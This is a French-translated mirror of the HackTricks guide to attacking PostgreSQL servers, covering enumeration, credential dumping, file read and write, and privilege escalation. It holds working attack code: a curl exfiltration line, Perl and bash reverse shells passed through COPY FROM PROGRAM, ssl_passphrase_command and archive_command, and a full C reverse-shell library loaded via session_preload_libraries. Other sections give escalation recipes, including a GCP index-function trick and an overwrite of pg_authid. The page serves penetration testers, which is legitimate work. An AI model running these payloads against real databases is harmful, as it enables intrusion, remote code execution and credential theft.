mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator 5272078c55 Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog

2024-07-17 18:34:44 +00:00

42 KiB

Raw Blame History

5432,5433 - Pentesting Postgresql

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
Obtenez le swag officiel PEASS & HackTricks
Découvrez La famille PEASS, notre collection exclusive de NFTs
Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.

Informations de base

PostgreSQL est décrit comme un système de base de données objet-relationnel qui est open source. Ce système n'utilise pas seulement le langage SQL, mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations.

Port par défaut : 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé.

PORT     STATE SERVICE
5432/tcp open  pgsql

Connexion & Énumération de base

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

{% hint style="warning" %} Si en exécutant \list vous trouvez une base de données appelée rdsadmin, vous savez que vous êtes à l'intérieur d'une base de données PostgreSQL AWS. {% endhint %}

Pour plus d'informations sur comment abuser d'une base de données PostgreSQL, consultez :

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

Énumération automatique

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Balayage de ports

Selon cette recherche, lorsqu'une tentative de connexion échoue, dblink lance une exception sqlclient_unable_to_establish_sqlconnection incluant une explication de l'erreur. Des exemples de ces détails sont énumérés ci-dessous.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

Hôte est hors ligne

DETAIL: impossible de se connecter au serveur : Aucun chemin d'accès vers l'hôte Le serveur tourne-t-il sur l'hôte "1.2.3.4" et accepte-t-il les connexions TCP/IP sur le port 5678 ?

Port est fermé

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Le port est ouvert

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

### PostgreSQL

#### Enumeration

When conducting a PostgreSQL pentest, start by enumerating the available databases using the following command:

```bash
psql -h <IP> -U <username> -l

This will list all the databases that the user has access to. Next, you can connect to a specific database using the command:

psql -h <IP> -U <username> -d <database_name>

Brute Forcing

If you have valid credentials for a PostgreSQL database but need to brute force other accounts, you can use tools like Hydra or Patator. An example command using Hydra is shown below:

hydra -L users.txt -P passwords.txt <IP> postgresql

Exploitation

To exploit a PostgreSQL database, you can leverage SQL injection vulnerabilities, weak credentials, or misconfigurations. Once you have access, you can extract sensitive information, modify data, or even execute commands on the underlying operating system.

DETAIL: FATAL: password authentication failed for user "name"

* Le port est ouvert ou filtré

DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir les détails des exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si l'extraction des noms d'utilisateur et des mots de passe à partir des tables système n'est pas réalisable, vous pouvez envisager d'utiliser la méthode d'attaque par liste de mots discutée dans la section précédente, car elle pourrait potentiellement donner des résultats positifs.

## Énumération des privilèges

### Rôles

| Types de rôles |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | Le rôle a des privilèges de superutilisateur                                                                                                         |
| rolinherit     | Le rôle hérite automatiquement des privilèges des rôles dont il est membre                                                                            |
| rolcreaterole  | Le rôle peut créer d'autres rôles                                                                                                                    |
| rolcreatedb    | Le rôle peut créer des bases de données                                                                                                               |
| rolcanlogin    | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné en tant qu'identifiant d'autorisation de session initial                        |
| rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des emplacements de réplication. |
| rolconnlimit   | Pour les rôles pouvant se connecter, cela définit le nombre maximal de connexions simultanées que ce rôle peut établir. -1 signifie aucune limite.    |
| rolpassword    | Pas le mot de passe (apparaît toujours comme `********`)                                                                                             |
| rolvaliduntil  | Heure d'expiration du mot de passe (utilisée uniquement pour l'authentification par mot de passe) ; null s'il n'y a pas d'expiration                   |
| rolbypassrls   | Le rôle contourne chaque stratégie de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. |
| rolconfig      | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution                                                           |
| oid            | ID du rôle                                                                                                                                          |

#### Groupes intéressants

* Si vous êtes membre de **`pg_execute_server_program`** vous pouvez **exécuter** des programmes
* Si vous êtes membre de **`pg_read_server_files`** vous pouvez **lire** des fichiers
* Si vous êtes membre de **`pg_write_server_files`** vous pouvez **écrire** des fichiers

{% hint style="info" %}
Notez que dans Postgres un **utilisateur**, un **groupe** et un **rôle** sont les **mêmes**. Cela dépend simplement de la manière dont vous l'utilisez et si vous **autorisez la connexion**.
{% endhint %}
```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Fonctions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Actions sur le système de fichiers

Lire les répertoires et les fichiers

À partir de ce commit, les membres du groupe défini DEFAULT_ROLE_READ_SERVER_FILES (appelé pg_read_server_files) et les super utilisateurs peuvent utiliser la méthode COPY sur n'importe quel chemin (consultez convert_and_check_filename dans genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais avez les autorisations CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_read_server_files TO username;

Plus d'informations. {% endhint %}

Il existe d'autres fonctions postgres qui peuvent être utilisées pour lire un fichier ou lister un répertoire. Seuls les superutilisateurs et les utilisateurs avec des autorisations explicites peuvent les utiliser:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Vous pouvez trouver plus de fonctions dans https://www.postgresql.org/docs/current/functions-admin.html

Écriture de fichiers simple

Seuls les super utilisateurs et les membres de pg_write_server_files peuvent utiliser la copie pour écrire des fichiers.

{% code overflow="wrap" %}

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

{% endcode %}

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais avez les autorisations CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_write_server_files TO username;

Plus d'informations. {% endhint %}

N'oubliez pas que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez une charge utile en base64, vous devez envoyer une seule ligne.
Une limitation très importante de cette technique est que copy ne peut pas être utilisé pour écrire des fichiers binaires car il modifie certaines valeurs binaires.

Téléchargement de fichiers binaires

Cependant, il existe d'autres techniques pour télécharger de gros fichiers binaires :

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

Conseil de prime de bug : inscrivez-vous sur Intigriti, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Mise à jour des données de table PostgreSQL via l'écriture de fichiers locaux

Si vous avez les autorisations nécessaires pour lire et écrire des fichiers serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en écrasant le nœud de fichier associé dans le répertoire de données PostgreSQL. Plus sur cette technique ici.

Étapes requises :

Obtenir le répertoire de données PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Remarque : Si vous ne parvenez pas à récupérer le chemin du répertoire de données actuel à partir des paramètres, vous pouvez interroger la version majeure de PostgreSQL via la requête SELECT version() et essayer de forcer le chemin. Les chemins de répertoire de données courants sur les installations Unix de PostgreSQL sont /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Un nom de cluster courant est main. 2. Obtenir un chemin relatif vers le nœud de fichier, associé à la table cible

SELECT pg_relation_filepath('{TABLE_NAME}')

Cette requête devrait renvoyer quelque chose comme base/3/1337. Le chemin complet sur le disque sera $DATA_DIRECTORY/base/3/1337, c'est-à-dire /var/lib/postgresql/13/main/base/3/1337. 3. Télécharger le nœud de fichier via les fonctions lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

Obtenir le type de données, associé à la table cible

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

Utilisez l'Éditeur de nœud de fichier PostgreSQL pour modifier le nœud de fichier ; définissez tous les indicateurs booléens rol* sur 1 pour des autorisations complètes.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Rechargez le nœud de fichier modifié via les fonctions lo_*, et écrasez le fichier d'origine sur le disque

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

(Facultatif) Effacez le cache de table en mémoire en exécutant une requête SQL coûteuse

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

Vous devriez maintenant voir les valeurs de table mises à jour dans PostgreSQL.

Vous pouvez également devenir superadmin en modifiant la table pg_authid. Voir la section suivante.

RCE

RCE vers un programme

Depuis la version 9.3, seuls les super utilisateurs et les membres du groupe pg_execute_server_program peuvent utiliser copy pour RCE (exemple avec exfiltration :

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Exemple à exécuter:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

{% hint style="warning" %} N'oubliez pas que si vous n'êtes pas un super utilisateur mais avez les autorisations CREATEROLE, vous pouvez vous ajouter en tant que membre de ce groupe :

GRANT pg_execute_server_program TO username;

Plus d'informations. {% endhint %}

Ou utilisez le module multi/postgres/postgres_copy_from_program_cmd_exec de metasploit.
Plus d'informations sur cette vulnérabilité ici. Alors que signalé comme CVE-2019-9193, Postges a déclaré que c'était une fonctionnalité et ne sera pas corrigé.

RCE avec les langages PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}

RCE avec les extensions PostgreSQL

Une fois que vous avez appris du post précédent comment télécharger des fichiers binaires, vous pourriez essayer d'obtenir une exécution de code à distance en téléchargeant une extension postgresql et en la chargeant.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

RCE avec le fichier de configuration PostgreSQL

{% hint style="info" %} Les vecteurs RCE suivants sont particulièrement utiles dans des contextes d'injection SQL contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées. {% endhint %}

Le fichier de configuration de PostgreSQL est modifiable par l'utilisateur postgres, qui est celui qui exécute la base de données, donc en tant que superutilisateur, vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez écraser ce fichier.

RCE avec ssl_passphrase_command

Plus d'informations sur cette technique ici.

Le fichier de configuration a quelques attributs intéressants qui peuvent conduire à une RCE :

ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Chemin de la clé privée de la base de données
ssl_passphrase_command = '' Si le fichier privé est protégé par un mot de passe (chiffré), postgresql exécutera la commande indiquée dans cet attribut.
ssl_passphrase_command_supports_reload = off Si cet attribut est activé, la commande exécutée si la clé est protégée par un mot de passe sera exécutée lorsque pg_reload_conf() est exécuté.

Ensuite, un attaquant devra :

Extraire la clé privée du serveur
Chiffrer la clé privée téléchargée :
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Écraser
Extraire la configuration actuelle de PostgreSQL
Écraser la configuration avec la configuration des attributs mentionnés :
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Exécuter pg_reload_conf()

En testant ceci, j'ai remarqué que cela ne fonctionnera que si le fichier de clé privée a des privilèges 640, qu'il est possédé par root et par le groupe ssl-cert ou postgres (pour que l'utilisateur postgres puisse le lire), et qu'il est placé dans /var/lib/postgresql/12/main.

RCE avec archive_command

Plus d'informations sur cette configuration et sur WAL ici.

Un autre attribut dans le fichier de configuration qui est exploitable est archive_command.

Pour que cela fonctionne, le paramètre archive_mode doit être 'on' ou 'always'. Si c'est le cas, alors nous pourrions écraser la commande dans archive_command et la forcer à s'exécuter via les opérations de WAL (write-ahead logging).

Les étapes générales sont les suivantes :

Vérifiez si le mode archive est activé : SELECT current_setting('archive_mode')
Écrasez archive_command avec la charge utile. Par exemple, un shell inversé : archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Rechargez la configuration : SELECT pg_reload_conf()
Forcer l'opération WAL à s'exécuter, ce qui appellera la commande d'archivage : SELECT pg_switch_wal() ou SELECT pg_switch_xlog() pour certaines versions de Postgres

RCE avec les bibliothèques de préchargement

Plus d'informations sur cette technique ici.

Ce vecteur d'attaque tire parti des variables de configuration suivantes :

session_preload_libraries -- bibliothèques qui seront chargées par le serveur PostgreSQL à la connexion du client.
dynamic_library_path -- liste des répertoires où le serveur PostgreSQL recherchera les bibliothèques.

Nous pouvons définir la valeur de dynamic_library_path sur un répertoire, accessible en écriture par l'utilisateur postgres exécutant la base de données, par exemple, le répertoire /tmp/, et télécharger un objet malveillant .so là-bas. Ensuite, nous forcerons le serveur PostgreSQL à charger notre nouvelle bibliothèque téléchargée en l'incluant dans la variable session_preload_libraries.

Les étapes de l'attaque sont les suivantes :

Téléchargez le postgresql.conf original
Incluez le répertoire /tmp/ dans la valeur de dynamic_library_path, par exemple dynamic_library_path = '/tmp:$libdir'
Incluez le nom de la bibliothèque malveillante dans la valeur de session_preload_libraries, par exemple session_preload_libraries = 'payload.so'
Vérifiez la version majeure de PostgreSQL via la requête SELECT version()
Compilez le code de la bibliothèque malveillante avec le package dev PostgreSQL correct Exemple de code :

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compilation du code :

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

Téléchargez le postgresql.conf malveillant, créé aux étapes 2-3, et écrasez l'original
Téléchargez le payload.so de l'étape 5 dans le répertoire /tmp
Rechargez la configuration du serveur en redémarrant le serveur ou en invoquant la requête SELECT pg_reload_conf()
À la prochaine connexion à la base de données, vous recevrez la connexion du shell inversé.

Élévation de privilèges Postgres

Élévation de privilèges CREATEROLE

Accorder

Selon les documents: Les rôles ayant le privilège CREATEROLE peuvent accorder ou révoquer l'appartenance à n'importe quel rôle qui n'est pas un superutilisateur.

Ainsi, si vous avez la permission CREATEROLE, vous pourriez vous accorder l'accès à d'autres rôles (qui ne sont pas des superutilisateurs) qui peuvent vous donner la possibilité de lire et écrire des fichiers et d'exécuter des commandes:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modifier le mot de passe

Les utilisateurs de ce rôle peuvent également modifier les mots de passe d'autres non-superutilisateurs:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Élévation de privilèges vers SUPERUSER

Il est assez courant de constater que les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe. Par conséquent, une fois que vous avez obtenu les autorisations pour exécuter du code, vous pouvez abuser de ces autorisations pour obtenir le rôle de SUPERUSER :

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} Cela est généralement possible en raison des lignes suivantes dans le fichier pg_hba.conf :

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE élévation de privilèges

Dans ce compte rendu, il est expliqué comment il était possible de réaliser une élévation de privilèges dans Postgres GCP en abusant du privilège ALTER TABLE qui avait été accordé à l'utilisateur.

Lorsque vous essayez de changer le propriétaire d'une table pour un autre utilisateur, vous devriez normalement obtenir une erreur vous en empêchant, mais apparemment GCP a donné cette option à l'utilisateur postgres non-superutilisateur dans GCP :

En associant cette idée au fait que lorsque les commandes INSERT/UPDATE/ANALYZE sont exécutées sur une table avec une fonction d'index, la fonction est appelée dans le cadre de la commande avec les permissions du propriétaire de la table. Il est possible de créer un index avec une fonction, donner les permissions de propriétaire à un superutilisateur sur cette table, puis exécuter ANALYZE sur la table avec la fonction malveillante qui pourra exécuter des commandes car elle utilise les privilèges du propriétaire.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

Commencez par créer une nouvelle table.
Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d'index.
Développez une fonction d'index malveillante contenant une charge utile d'exécution de code, permettant l'exécution de commandes non autorisées.
MODIFIEZ le propriétaire de la table en "cloudsqladmin", qui est le rôle de superutilisateur de GCP exclusivement utilisé par Cloud SQL pour gérer et maintenir la base de données.
Effectuez une opération ANALYZE sur la table. Cette action contraint le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin". Par conséquent, la fonction d'index malveillante est appelée avec les autorisations de "cloudsqladmin", permettant ainsi l'exécution de la commande shell précédemment non autorisée.

Dans PostgreSQL, ce flux ressemble à ceci :

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Ensuite, la table shell_commands_results contiendra la sortie du code exécuté :

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Connexion Locale

Certaines instances mal configurées de postgresql pourraient permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter localement depuis 127.0.0.1 en utilisant la fonction dblink:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

{% hint style="warning" %} Notez que pour que la requête précédente fonctionne la fonction dblink doit exister. Si ce n'est pas le cas, vous pouvez essayer de la créer avec

CREATE EXTENSION dblink;

{% endhint %}

Si vous avez le mot de passe d'un utilisateur avec plus de privilèges, mais que l'utilisateur n'est pas autorisé à se connecter depuis une adresse IP externe, vous pouvez utiliser la fonction suivante pour exécuter des requêtes en tant qu'utilisateur :

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Il est possible de vérifier si cette fonction existe avec :

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Fonction définie personnalisée avec SECURITY DEFINER

Dans ce document, les testeurs ont pu obtenir des privilèges élevés à l'intérieur d'une instance postgres fournie par IBM, car ils ont trouvé cette fonction avec le drapeau SECURITY DEFINER :

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

Comme expliqué dans la documentation, une fonction avec SECURITY DEFINER est exécutée avec les privilèges de l'utilisateur qui la possède. Par conséquent, si la fonction est vulnérable à l'injection SQL ou effectue des actions privilégiées avec des paramètres contrôlés par l'attaquant, elle pourrait être exploitée pour escalader les privilèges à l'intérieur de postgres.

À la ligne 4 du code précédent, vous pouvez voir que la fonction a le drapeau SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

Et ensuite exécutez des commandes :

Contourner la force brute avec PL/pgSQL

PL/pgSQL est un langage de programmation complet qui offre un plus grand contrôle procédural par rapport au SQL. Il permet l'utilisation de boucles et d'autres structures de contrôle pour améliorer la logique du programme. De plus, les instructions SQL et les déclencheurs ont la capacité d'invoquer des fonctions créées en utilisant le langage PL/pgSQL. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l'automatisation de bases de données.
Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer les informations d'identification des utilisateurs.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

Élévation de privilèges en écrasant les tables internes de PostgreSQL

{% hint style="info" %} Le vecteur d'élévation de privilèges suivant est particulièrement utile dans des contextes d'injection SQL contraints, car toutes les étapes peuvent être effectuées à travers des instructions SELECT imbriquées. {% endhint %}

Si vous pouvez lire et écrire des fichiers serveur PostgreSQL, vous pouvez devenir superutilisateur en écrasant le filenode sur disque de PostgreSQL, associé à la table interne pg_authid.

En savoir plus sur cette technique ici.

Les étapes de l'attaque sont les suivantes :

Obtenir le répertoire de données PostgreSQL
Obtenir un chemin relatif vers le filenode, associé à la table pg_authid
Télécharger le filenode via les fonctions lo_*
Obtenir le type de données, associé à la table pg_authid
Utiliser l'Éditeur de Filenode PostgreSQL pour modifier le filenode; définir tous les indicateurs booléens rol* sur 1 pour des autorisations complètes.
Re-téléverser le filenode modifié via les fonctions lo_*, et écraser le fichier original sur le disque
(Facultatif) Effacer le cache de table en mémoire en exécutant une requête SQL coûteuse
Vous devriez maintenant avoir les privilèges d'un superadministrateur complet.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

journalisation

À l'intérieur du fichier postgresql.conf, vous pouvez activer les journaux postgresql en modifiant :

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Ensuite, redémarrez le service.

pgadmin

pgadmin est une plateforme d'administration et de développement pour PostgreSQL.
Vous pouvez trouver des mots de passe à l'intérieur du fichier pgadmin4.db
Vous pouvez les décrypter en utilisant la fonction decrypt dans le script : https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

